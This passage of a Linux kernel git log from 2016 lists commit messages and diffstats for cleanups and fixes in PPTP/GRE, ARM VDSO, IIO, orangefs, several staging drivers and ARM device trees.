gre_base_hdr directly in pptp_gre_header instead of duplicated members; 2. Use existing macros like GRE_KEY, GRE_SEQ, and so on instead of duplicated macros defined by PPTP; 3. Add new macros like GRE_IS_ACK/SEQ and so on instead of PPTP_GRE_IS_A/S and so on; Signed-off-by: Gao Feng Reviewed-by: Philip Prindeville Signed-off-by: David S. Miller drivers/net/ppp/pptp.c | 28 +++++++++++++--------------- include/net/pptp.h | 19 +------------------ include/uapi/linux/if_tunnel.h | 12 ++++++++++-- 3 files changed, 24 insertions(+), 35 deletions(-) commit 92bb8d5d55f7fe1a7a1201c42120c1611840807c Author: Jisheng Zhang Date: Mon Aug 15 09:20:21 2016 +0100 ARM: 8597/1: VDSO: put RO and RO after init objects into proper sections vdso_data_mapping is never modified, so mark it as const. vdso_total_pages, vdso_data_page, vdso_text_mapping and cntvct_ok are initialized by vdso_init(), thereafter are read only. The fact that they are read only after init makes them candidates for __ro_after_init declarations. Signed-off-by: Jisheng Zhang Reviewed-by: Kees Cook Acked-by: Nathan Lynch Signed-off-by: Russell King arch/arm/kernel/vdso.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit 6df1dc05e73e5108d623c6a38dd24b30f0163657 Author: Matt Ranostay Date: Mon Aug 1 19:39:51 2016 -0700 tools: iio: lsiio: enumerate processed channels Enumerate the processed channels (e.g. *_input) as well the raw channels. Signed-off-by: Matt Ranostay Signed-off-by: Jonathan Cameron tools/iio/lsiio.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit dc3012a7afb529f3306c880be379b3021892279e Author: Martin Brandenburg Date: Mon Aug 15 13:28:51 2016 -0400 orangefs: remove dead code in sysfs We had a pageful of structures containing kobjects and variables to store sysfs entries. However only the kobjects were in use. Replace them with kobjects. Signed-off-by: Martin Brandenburg fs/orangefs/orangefs-sysfs.c | 361 ++++++++++--------------------------------- 1 file changed, 81 insertions(+), 280 deletions(-) commit 908614be1604388236c2a1cc6048ec29893df5df Author: Christian Gromm Date: Mon Jun 6 15:23:11 2016 +0200 staging: most: v4l2-aim: remove unnecessary spaces This patch removes the unnecessary spaces. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/aim-v4l2/video.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit eab231c0398a91fbd294672bfe9e0ff45b368246 Author: Christian Gromm Date: Mon Jun 6 15:23:10 2016 +0200 staging: most: v4l2-aim: remove unnecessary label err_vbi_dev For optimization purposes this patch removes the label err_vbi_dev. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/aim-v4l2/video.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit b23e8e51e6dc40cfbdb0ae3f60fc0da3a3fda5a8 Author: Christian Gromm Date: Mon Jun 6 15:23:09 2016 +0200 staging: most: v4l2-aim: remove unnecessary retval The function aim_register_videodev() uses the variables 'ret' and 'retval' to represent the same value. This patch removes 'retval' and replaces it with 'ret'. Further, it replaces the constant return value '-ENODEV' with the result returned by function video_register_device() in the event something went wrong. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/aim-v4l2/video.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit 8f6f9ed15d679ad9384efd74d39aed4438cd0252 Author: Christian Gromm Date: Mon Jun 6 15:23:08 2016 +0200 staging: most: v4l2-aim: replace pr_xx calls by v4l2_xx calls This patch replaces pr_info, pr_err, etc. function calls by the v4l2_... ones to get the device dependent logs. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/aim-v4l2/video.c | 43 ++++++++++++++++++++++------------- 1 file changed, 27 insertions(+), 16 deletions(-) commit 323977d5d33a8dff63193f2c68a2aff001e9b68f Author: Christian Gromm Date: Mon Jun 6 15:23:07 2016 +0200 staging: most: v4l2-aim: assign unique names to devices The current V4L2 AIM implementation assigns to all video devices and to all V4L devices the same names. This patch makes use of hardware dependent names for the video devices and allows the user to choose the names for the V4L devices. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/aim-v4l2/video.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit db5a48d595cfd27ba66625558d982205b46d11fd Author: Christian Gromm Date: Mon Jun 6 15:23:06 2016 +0200 staging: most: v4l2-aim: optimize list_for_each_entry_safe As the function get_aim_dev() does not delete elements of the list, the use of macro list_for_each_entry_safe is not necessary. This patch replaces the macro list_for_each_entry_safe with the macro list_for_each_entry. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/aim-v4l2/video.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e494df039df0fc73587fda48752bfdbe88a6e7ce Author: Christian Gromm Date: Mon Jun 6 15:23:05 2016 +0200 staging: most: v4l2-aim: fix interrupt unsafe spinlocks The functions get_aim_dev() and aim_rx_data() are using interrupt unsafe spinlocks even though they may be called from an interrupt context. This patch fixes the described problem. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/aim-v4l2/video.c | 42 ++++++++++++++++++----------------- 1 file changed, 22 insertions(+), 20 deletions(-) commit 99a9ffacc1d390e9548b2370beb816c6739b84b2 Author: Colin Ian King Date: Mon May 9 23:22:14 2016 +0100 staging: speakup: ensure we do not overrun synths array synth_add allows one to add MAXSYNTHS synths to the synths array; however it always NULLifies the next synth in the array which means that on the MAXSYNTHS synth we get an out-of-bounds write of the NULL to the synths array. Make the synths array MAXSYNTHS + 1 elements in size to allow for the final NULL sentinal to avoid the out-of-bounds write. Issue found wit CoverityScan, CID#744671 Signed-off-by: Colin Ian King Reviewed-by: Samuel Thibault Signed-off-by: Greg Kroah-Hartman drivers/staging/speakup/synth.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b6ed5a233aea3bd44243bb18d396941c4076e3dc Author: Laurence Rochfort Date: Wed May 18 21:07:45 2016 +0100 Staging: speakup: Remove space after cast Fix the checkpatch.pl warning "No space is necessary after a cast". Signed-off-by: Laurence Rochfort Signed-off-by: Greg Kroah-Hartman drivers/staging/speakup/devsynth.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4875bb884e761acbd141785b44dbbd715bd71195 Author: Daeseok Youn Date: Wed Jul 6 15:19:58 2016 +0900 staging: dgnc: remove useless variable 'ch_intr_rx' The 'ch_intr_rx' variable was used only for increasing. So the 'ch_intr_rx' variable is not useful for this driver. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_cls.c | 1 - drivers/staging/dgnc/dgnc_driver.h | 2 -- drivers/staging/dgnc/dgnc_neo.c | 2 -- 3 files changed, 5 deletions(-) commit 2c7d924e28c24cfced3528c344faedfba8aaee56 Author: Daeseok Youn Date: Wed Jul 6 15:19:27 2016 +0900 staging: dgnc: remove useless variable 'ch_intr_tx' The 'ch_intr_tx' variable was used only for increasing. So the 'ch_intr_tx' variable is not useful for this driver. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_cls.c | 1 - drivers/staging/dgnc/dgnc_driver.h | 1 - drivers/staging/dgnc/dgnc_neo.c | 3 --- 3 files changed, 5 deletions(-) commit 74c900f5e99e2af69e71e4527088a204ad9dd6e4 Author: Daeseok Youn Date: Wed Jul 6 15:18:56 2016 +0900 staging: dgnc: remove useless variable 'ch_intr_modem' The 'ch_intr_modem' variable was used only for increasing. So the 'ch_intr_modem' variable is not useful for this driver. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_cls.c | 9 --------- drivers/staging/dgnc/dgnc_driver.h | 1 - drivers/staging/dgnc/dgnc_neo.c | 1 - 3 files changed, 11 deletions(-) commit 572f4f61cd56a192dca8415f84d1abd6b10e2b26 Author: Daeseok Youn Date: Wed Jul 6 15:18:25 2016 +0900 staging: dgnc: remove useless variable 'intr_rx' The 'intr_rx' variable was used only for increasing. So the 'intr_rx' variable is not useful for this driver. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_cls.c | 1 - drivers/staging/dgnc/dgnc_driver.h | 1 - drivers/staging/dgnc/dgnc_neo.c | 2 -- 3 files changed, 4 deletions(-) commit 262c5e1bab2a8bedb9e5148b17cf6de7674934cf Author: Daeseok Youn Date: Wed Jul 6 15:17:53 2016 +0900 staging: dgnc: remove useless variable 'intr_tx' The 'intr_tx' variable was used only for increasing. So the 'intr_tx' variable is not useful for this driver. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_cls.c | 1 - drivers/staging/dgnc/dgnc_driver.h | 1 - drivers/staging/dgnc/dgnc_neo.c | 3 --- 3 files changed, 5 deletions(-) commit ca0d0b889c055669e4efe4b8bb656d48b7e40944 Author: Daeseok Youn Date: Wed Jul 6 15:17:18 2016 +0900 staging: dgnc: remove unused variable 'intr_modem' The 'intr_modem' variable was used only for increasing. So the 'intr_modem' variable is not useful for this driver. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_cls.c | 1 - drivers/staging/dgnc/dgnc_driver.h | 1 - drivers/staging/dgnc/dgnc_neo.c | 1 - 3 files changed, 3 deletions(-) commit 14ad5165117713d521969eff9a25a7692531bb22 Author: Daeseok Youn Date: Wed Jul 6 15:16:44 2016 +0900 staging: dgnc: remove redundant null check in the "brd" was already checked for NULL before calling dgnc_do_remap(). the dgnc_do_remap() function was called only from the dgnc_found_board() and the DGNC_BOARD_MAGIC value was assigned to "brd->magic" in dgcn_found_board(). So it doesn't need to check about magic value. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_driver.c | 3 --- 1 file changed, 3 deletions(-) commit fb7d94a7582e494a71c3a0b311910f7b179c01d9 Author: Daeseok Youn Date: Wed Jul 6 15:16:12 2016 +0900 staging: dgnc: remove useless variable 'intr_count' The 'intr_count' variable was used only for increasing. So the 'intr_count' variable is not useful for this driver. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_cls.c | 2 -- drivers/staging/dgnc/dgnc_driver.h | 1 - drivers/staging/dgnc/dgnc_neo.c | 2 -- 3 files changed, 5 deletions(-) commit 3bd0010a18795f3e48e96fe75e67fb3f84706fcf Author: Daeseok Youn Date: Wed Jul 6 15:15:34 2016 +0900 staging: dgnc: remove redundant NULL check for brd the "brd" value cannot be NULL in dgnc_finalize_board_init(). Because "brd" as a parameter of this function was already checked for NULL. the dgnc_finalize_board_init() as a static function was called only from dgnc_found_board() function and brd->magic value was assigned once in dgnc_found_board(). So it doesn't need to check for DGNC_BOARD_MAGIC value. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_driver.c | 3 --- 1 file changed, 3 deletions(-) commit a2237a2d60db69c4df74a5fa1591c02247ba0f49 Author: Daeseok Youn Date: Wed Jul 6 15:14:37 2016 +0900 staging: dgnc: re-arrange functions for removing Re-arrange the functions for removing forward declarations in dgnc_cls.c file. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_cls.c | 949 +++++++++++++++++++--------------------- 1 file changed, 460 insertions(+), 489 deletions(-) commit c23b48e0ed4764af410cacc09d49fe300743e55b Author: Daeseok Youn Date: Wed Jul 6 15:13:55 2016 +0900 staging: dgnc: removes redundant null check and change The dgnc_set_modem_info() used only channel_t variable. Any other variables were used only for checking NULL. So fist parameter changed from "tty_struct" to "channel_t" and useless NULL checks and variables are removed. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_tty.c | 24 +++--------------------- 1 file changed, 3 insertions(+), 21 deletions(-) commit 18419f77a22ae8d3b9330c83f6d09e0e66d2d755 Author: Daeseok Youn Date: Wed Jul 6 15:13:14 2016 +0900 staging: dgnc: remove redundant variable null check The unit struct(un_t) was not used in dgnc_tty_hangup(). Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_tty.c | 6 ------ 1 file changed, 6 deletions(-) commit 3ca4b20a765f4429e5c2795fcae1a3ce312f075b Author: Daeseok Youn Date: Wed Jul 6 15:12:29 2016 +0900 staging: dgnc: remove redundant local variable for The local variable "bd" was not used in dgnc_carrier() function. Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_tty.c | 7 ------- 1 file changed, 7 deletions(-) commit 290e3abaccbac6afeb3376b13627b3fc6974554b Author: Daeseok Youn Date: Wed Jul 6 15:11:52 2016 +0900 staging: dgnc: remove useless error value assignment The "result" variable in dgnc_get_mstat() was initialized with "-EIO". But if the "ch" is not null, "result" will be set to zero and if the "ch" is null, dgnc_get_mstat() will return "-ENXIO" as an error. So "-EIO" error value was useless in dgnc_get_mstat(). Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_tty.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 10334418d62d968e2901eb116ea449828b782c96 Author: Daeseok Youn Date: Wed Jul 6 15:11:13 2016 +0900 staging: dgnc: remove redundant NULL checks in The dgnc_block_til_ready() is only used in dgnc_tty_open(). The unit data(struct un_t) was stored into tty->driver_data in dgnc_tty_open(). And also tty and un were tested about NULL so these variables doesn't need to check for NULL in dgnc_block_til_ready(). Signed-off-by: Daeseok Youn Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_tty.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit 598b1529d6ceddeadd528187996f08cc3c39cc55 Author: Joshua Houghton Date: Sat Jun 18 19:42:07 2016 +0000 staging: dgnc: add __exit macro to dgnc_driver.c Add the __exit macro to the dgnc_cleanup_module(void) function in dgnc_driver.c Signed-off-by: Joshua Houghton Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_driver.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8c11e16177b16c0aa0c3b08987f316fd89aa1ead Author: Daniel Wagner Date: Thu Aug 4 15:07:10 2016 +0200 iio: sx9500: Use complete() instead of complete_all() There is only one waiter for the completion, therefore there is no need to use complete_all(). Let's make that clear by using complete() instead of complete_all(). The usage pattern of the completion is: waiter context waker context sx9500_read_proximity() sx9500_inc_chan_users() sx9500_inc_data_rdy_users() wait_for_completion_interruptible() s9500_irq_thread_handler() complete() reinit_completion() Signed-off-by: Daniel Wagner Signed-off-by: Jonathan Cameron drivers/iio/proximity/sx9500.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cba4985ed5bdb76636d5e2dd1867b2770741a331 Author: Daniel Wagner Date: Thu Aug 4 15:07:09 2016 +0200 iio: adc: Use complete() instead of complete_all() There is only one waiter for the completion, therefore there is no need to use complete_all(). Let's make that clear by using complete() instead of complete_all(). The usage pattern of the completion is: waiter context waker context nau7802_read_irq() reinit_completion() nau7802_read_conversion() wait_for_completion_interruptible_timeout() nau7802_eoc_trigger() complete() Signed-off-by: Daniel Wagner Signed-off-by: Jonathan Cameron drivers/iio/adc/nau7802.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 65ffc6799340818e640bc59ab8a296efb1ed7c42 Author: Al Viro Date: Sat Jul 23 02:37:00 2016 -0400 lustre: don't reinvent struct bio_vec Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/include/linux/lnet/types.h | 16 +---- .../staging/lustre/lnet/klnds/o2iblnd/o2iblnd_cb.c | 10 +-- .../staging/lustre/lnet/klnds/socklnd/socklnd_cb.c | 16 ++--- .../lustre/lnet/klnds/socklnd/socklnd_lib.c | 42 +++++------ drivers/staging/lustre/lnet/lnet/lib-md.c | 6 +- drivers/staging/lustre/lnet/lnet/lib-move.c | 84 +++++++++++----------- drivers/staging/lustre/lnet/lnet/router.c | 10 +-- drivers/staging/lustre/lnet/selftest/brw_test.c | 4 +- drivers/staging/lustre/lnet/selftest/conrpc.c | 15 ++-- drivers/staging/lustre/lnet/selftest/framework.c | 4 +- drivers/staging/lustre/lnet/selftest/rpc.c | 8 +-- drivers/staging/lustre/lustre/osc/osc_cache.c | 6 +- drivers/staging/lustre/lustre/ptlrpc/client.c | 2 +- drivers/staging/lustre/lustre/ptlrpc/pers.c | 6 +- drivers/staging/lustre/lustre/ptlrpc/sec_bulk.c | 10 +-- drivers/staging/lustre/lustre/ptlrpc/sec_plain.c | 14 ++-- 16 files changed, 115 insertions(+), 138 deletions(-) commit 08ef98069718cfa8dc9acab46fdc52810511636d Author: Javier Martinez Canillas Date: Mon Aug 1 12:47:04 2016 -0400 ARM: dts: omap3/4/5/dra7: remove unneeded unit name for gpio-leds nodes This patch fixes the following DTC warnings for many boards: "Node /leds/led@1 has a unit name, but no reg property" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/dra7-evm.dts | 8 ++++---- arch/arm/boot/dts/omap3-pandora-common.dtsi | 8 ++++---- arch/arm/boot/dts/omap5-board-common.dtsi | 2 +- arch/arm/boot/dts/omap5-cm-t54.dts | 2 +- 4 files changed, 10 insertions(+), 10 deletions(-) commit c731abd99121cae0b9a1735c062c96c56e2b72fc Author: Javier Martinez Canillas Date: Mon Aug 1 12:47:03 2016 -0400 ARM: dts: am335x/437x/57xx: remove unneeded unit name for gpio-leds nodes This patch fixes the following DTC warnings for many boards: "Node /leds/led@1 has a unit name, but no reg property" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/am335x-base0033.dts | 4 ++-- arch/arm/boot/dts/am335x-bone-common.dtsi | 8 ++++---- arch/arm/boot/dts/am335x-cm-t335.dts | 2 +- arch/arm/boot/dts/am335x-evmsk.dts | 8 ++++---- arch/arm/boot/dts/am335x-icev2.dts | 32 +++++++++++++++---------------- arch/arm/boot/dts/am335x-igep0033.dtsi | 2 +- arch/arm/boot/dts/am335x-nano.dts | 2 +- arch/arm/boot/dts/am335x-pepper.dts | 4 ++-- arch/arm/boot/dts/am335x-shc.dts | 12 ++++++------ arch/arm/boot/dts/am335x-sl50.dts | 8 ++++---- arch/arm/boot/dts/am437x-sk-evm.dts | 8 ++++---- arch/arm/boot/dts/am57xx-beagle-x15.dts | 8 ++++---- arch/arm/boot/dts/am57xx-cl-som-am57x.dts | 2 +- 13 files changed, 50 insertions(+), 50 deletions(-) commit 45ed37f7b92d20541c0c651884815a9e504246fa Author: Javier Martinez Canillas Date: Mon Aug 1 12:47:02 2016 -0400 ARM: dts: omap3/4: remove unneeded unit name for gpio-keys nodes This patch fixes the following DTC warnings for many boards: "Node /gpio_keys/button0@10 has a unit name, but no reg property" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap3-overo-alto35-common.dtsi | 2 +- arch/arm/boot/dts/omap3-overo-chestnut43-common.dtsi | 4 ++-- arch/arm/boot/dts/omap3-overo-gallop43-common.dtsi | 4 ++-- arch/arm/boot/dts/omap3-overo-palo35-common.dtsi | 4 ++-- arch/arm/boot/dts/omap3-overo-palo43-common.dtsi | 4 ++-- arch/arm/boot/dts/omap4-duovero-parlor.dts | 2 +- 6 files changed, 10 insertions(+), 10 deletions(-) commit 57a78a8a6f6e07253c6ff276847923e523a90a59 Author: Javier Martinez Canillas Date: Mon Aug 1 12:47:01 2016 -0400 ARM: dts: am335x/am437x: remove unneeded unit name for gpio-keys nodes This patch fixes the following DTC warnings for many boards: "Node /gpio_keys/button0@10 has a unit name, but no reg property" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/am335x-evm.dts | 6 +++--- arch/arm/boot/dts/am335x-evmsk.dts | 10 +++++----- arch/arm/boot/dts/am335x-pepper.dts | 6 +++--- arch/arm/boot/dts/am437x-idk-evm.dts | 2 +- 4 files changed, 12 insertions(+), 12 deletions(-) commit 909b0ebde95d24af3cdecbe22863830413f3fe81 Author: Javier Martinez Canillas Date: Mon Aug 1 12:47:00 2016 -0400 ARM: dts: omap3/dra62x: remove unneeded unit name for fixed regulators This patch fixes the following DTC warnings for many boards: "Node /fixedregulator@0 has a unit name, but no reg property" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/dra62x-j5eco-evm.dts | 2 +- arch/arm/boot/dts/omap3-n950-n9.dtsi | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) commit 0b0d912ab516782beeb3449149d2a126882d550a Author: Javier Martinez Canillas Date: Mon Aug 1 12:46:59 2016 -0400 ARM: dts: da850/dm81x: remove unneeded unit name for fixed regulators This patch fixes the following DTC warnings for many boards: "Node /fixedregulator@0 has a unit name, but no reg property" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/da850-evm.dts | 2 +- arch/arm/boot/dts/dm8148-evm.dts | 2 +- arch/arm/boot/dts/dm8148-t410.dts | 2 +- arch/arm/boot/dts/dm8168-evm.dts | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) commit 4c049a5b7c89012872184c1fdaefe04ea3dc7dc0 Author: Javier Martinez Canillas Date: Mon Aug 1 12:46:58 2016 -0400 ARM: dts: am335x/am437x: remove unneeded unit name for fixed regulators This patch fixes the following DTC warnings for many boards: "Node /fixedregulator@0 has a unit name, but no reg property" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/am335x-baltos.dtsi | 4 ++-- arch/arm/boot/dts/am335x-bone-common.dtsi | 2 +- arch/arm/boot/dts/am335x-cm-t335.dts | 4 ++-- arch/arm/boot/dts/am335x-evm.dts | 6 +++--- arch/arm/boot/dts/am335x-evmsk.dts | 8 ++++---- arch/arm/boot/dts/am335x-icev2.dts | 4 ++-- arch/arm/boot/dts/am335x-igep0033.dtsi | 4 ++-- arch/arm/boot/dts/am335x-lxm.dts | 4 ++-- arch/arm/boot/dts/am335x-pepper.dts | 6 +++--- arch/arm/boot/dts/am335x-phycore-som.dtsi | 2 +- arch/arm/boot/dts/am335x-shc.dts | 2 +- arch/arm/boot/dts/am335x-sl50.dts | 2 +- arch/arm/boot/dts/am335x-wega.dtsi | 2 +- arch/arm/boot/dts/am43x-epos-evm.dts | 2 +- 14 files changed, 26 insertions(+), 26 deletions(-) commit 18ad99d4c2d0c02f7811ecde37a79fd993258621 Author: Javier Martinez Canillas Date: Mon Aug 1 12:46:57 2016 -0400 ARM: dts: am335x/am437x: remove unneeded unit name for gpio-matrix-keypad This patch fixes the following DTC warnings for many boards: "Node /matrix_keypad@0 has a unit name, but no reg property" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/am335x-evm.dts | 2 +- arch/arm/boot/dts/am437x-gp-evm.dts | 2 +- arch/arm/boot/dts/am437x-sk-evm.dts | 2 +- arch/arm/boot/dts/am43x-epos-evm.dts | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) commit 0b965a13ad81fa895e534d1f50b355ff8b0b3ed3 Author: Javier Martinez Canillas Date: Mon Aug 1 12:46:56 2016 -0400 ARM: dts: omap3: overo: add missing unit name for lcd35 display Commit b8d368caa8dc ("ARM: dts: omap3: overo: remove unneded unit names in display nodes") removed the unit names for all Overo display nodes that didn't have a reg property. But the display in arch/arm/boot/dts/omap3-overo-common-lcd35.dtsi does have a reg property so the correct fix was to make the unit name match the value of the reg property, instead of removing it. This patch fixes the following DTC warning for boards using this dtsi: "ocp/spi@48098000/display has a reg or ranges property, but no unit name" Fixes: b8d368caa8dc ("ARM: dts: omap3: overo: remove unneded unit names in display nodes") Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap3-overo-common-lcd35.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f515f81424cbd75734197ac4723c4c379ab60add Author: Javier Martinez Canillas Date: Mon Aug 1 12:46:55 2016 -0400 ARM: dts: omap3/am4372: add missing unit name to ocp node This patch fixes the following DTC warnings for many boards: "Node /ocp has a reg or ranges property, but no unit name" Signed-off-by: Javier Martinez Canillas Signed-off-by: Tony Lindgren arch/arm/boot/dts/am3517.dtsi | 2 +- arch/arm/boot/dts/am4372.dtsi | 2 +- arch/arm/boot/dts/omap3.dtsi | 2 +- arch/arm/boot/dts/omap34xx.dtsi | 2 +- arch/arm/boot/dts/omap36xx.dtsi | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) commit 28ac4ad0e3b12c38a6aee53ea57a328c0821eeec Author: Al Viro Date: Sat Jul 23 02:36:59 2016 -0400 lustre: simplify the living hell out of ksocknal_lib_recv_kiov() ... by using ITER_BVEC recvmsg Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman .../staging/lustre/lnet/klnds/socklnd/socklnd.h | 6 +- .../lustre/lnet/klnds/socklnd/socklnd_lib.c | 98 ++-------------------- 2 files changed, 12 insertions(+), 92 deletions(-) commit fd25dc346043380997a0e5563f81c3e94019c238 Author: Al Viro Date: Sat Jul 23 02:36:58 2016 -0400 lustre: switch lnet_sock_write() to sock_sendmsg() Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lnet/lnet/lib-socket.c | 21 +++++++-------------- 1 file changed, 7 insertions(+), 14 deletions(-) commit 2afad7fc9fc397d0540704c0602e80dfcec145b5 Author: wang di Date: Thu Jul 21 22:44:11 2016 -0400 staging: lustre: llite: do post work for statahead in readdir case Increase the post-work for the statahead thread in the readdir case since it can become very busy. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/10761 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4906 Reviewed-by: John L. Hammond Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/llite_internal.h | 3 ++- drivers/staging/lustre/lustre/llite/statahead.c | 7 +++++++ 2 files changed, 9 insertions(+), 1 deletion(-) commit 218ba48524ae1ac88e239aa2dbcf6017120dc180 Author: wang di Date: Thu Jul 21 22:44:10 2016 -0400 staging: lustre: llite: pass in __u64 pos for ll_dir_read Some cases we want to preserve the ctx->pos value or use a different value altogther. So allow the passing in of a position offset to ll_dir_read. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/10761 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4906 Reviewed-by: John L. Hammond Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 19 +++++++++++-------- drivers/staging/lustre/lustre/llite/llite_internal.h | 2 +- drivers/staging/lustre/lustre/llite/llite_nfs.c | 3 ++- 3 files changed, 14 insertions(+), 10 deletions(-) commit 26f5c084c6cf87de694d62308a97293158e10c37 Author: wang di Date: Thu Jul 21 22:44:09 2016 -0400 staging: lustre: llite: remove code never called We have if (1) conditionals which is pointless so remove it and the next code block is never called so remove that as well. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 9 +-------- drivers/staging/lustre/lustre/llite/statahead.c | 18 +++--------------- 2 files changed, 4 insertions(+), 23 deletions(-) commit 4f48c52c57d4adf1f67757ae1a3b4b6ae091a90d Author: wang di Date: Thu Jul 21 22:44:08 2016 -0400 staging: lustre: llite: clarify some debug messages for statahead Make some of the error reporting more clear for the statahead thread startup and is_first_dirent() function. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/statahead.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit 67537558c473e80ac2cb39b37f5bce14381a260f Author: wang di Date: Thu Jul 21 22:44:07 2016 -0400 staging: lustre: llite: rename some variables for ll_dir_read The variables api32 and hash64 was renamed to is_api32 and is_hash64. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 13810b0f564bc3a299075b9a7b6e865adea8cabe Author: wang di Date: Thu Jul 21 22:44:06 2016 -0400 staging: lustre: llite: change done flag in ll_dir_read to bool Change the done flag from integer to bool. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/10761 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4906 Reviewed-by: John L. Hammond Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman 